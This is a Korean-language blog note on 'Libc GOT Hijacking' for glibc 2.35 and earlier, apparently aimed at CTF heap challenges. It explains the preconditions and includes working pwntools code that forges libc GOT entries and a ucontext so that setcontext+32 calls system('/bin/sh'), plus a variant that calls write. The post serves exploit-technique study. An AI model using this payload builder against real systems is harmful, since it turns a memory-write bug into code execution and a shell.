Tips & theory
Libc GOT Hijacking - glibc <= 2.35
wyv3rn
2025. 6. 6. 08:34
728x90
반응형
서론
개인적으로 조금 충격 받은 기법이다.
조건
만일 aaw는 가능하고, 오직 libc address만 알 수 있으며, 프로그램이 종료되지 않는 (while true) 경우일때 쓸 수 있다.
통상적으로 이 경우는 heap 문제가 될 것이며, main_arena address leak 이후 사용하기 좋다.
다만, glibc 2.35까지 사용 가능하다.
분석
원 글은 아래와 같다.
setcontext32 - HackMD
Once you’ve obtained an arbitrary write primitive, converting it into RCE tends to be a messy process: house this, house that, edge case this, edge case that. I’d just like to specify the function I want to call and its arguments!
hackmd.io
요약하자면 libc got을 setcontext+32에서 작동하는 코드에 맞게 조작하여 overwrite하면 임의 함수를 실행시킬 수 있다.
Code
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
libc = ELF("./libc.so.6")
libc.address = libc_base
dest, payload = setcontext32.setcontext32(
libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)
print(hex(dest), payload.hex()) #dest = overwrite target address, payload = payload
Appendix
아래와 같이 조작하면 write 함수를 call 할 수도 있다.
dest, payload = setcontext32(
libc, rip=libc.sym["write"] + 16, rdi = 1, rsi=libc.search(b"/bin/sh").__next__(), rdx=100
)
여기서 write + 16은 아래와 같다.
pwndbg> disas write
Dump of assembler code for function write:
0x00007f9582b71870 <+0>: endbr64
0x00007f9582b71874 <+4>: mov %fs:0x18,%eax
0x00007f9582b7187c <+12>: test %eax,%eax
0x00007f9582b7187e <+14>: jne 0x7f9582b71890 <write+32>
0x00007f9582b71880 <+16>: mov $0x1,%eax
0x00007f9582b71885 <+21>: syscall
728x90
반응형